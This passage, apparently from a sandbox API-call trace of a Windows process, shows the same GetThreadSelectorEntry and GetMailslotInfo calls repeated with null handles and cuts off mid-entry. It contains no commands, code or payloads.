[0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.945] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.945] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.945] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.945] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.945] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.945] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.945] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.945] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.945] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.945] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.945] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.945] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.945] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.945] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.945] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.945] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.945] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.945] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.945] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.945] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.945] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.945] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.945] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.945] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.945] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.945] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.945] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.945] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.945] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.945] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.945] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.945] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.945] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.945] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.945] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.945] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.945] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.945] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.946] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.946] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, 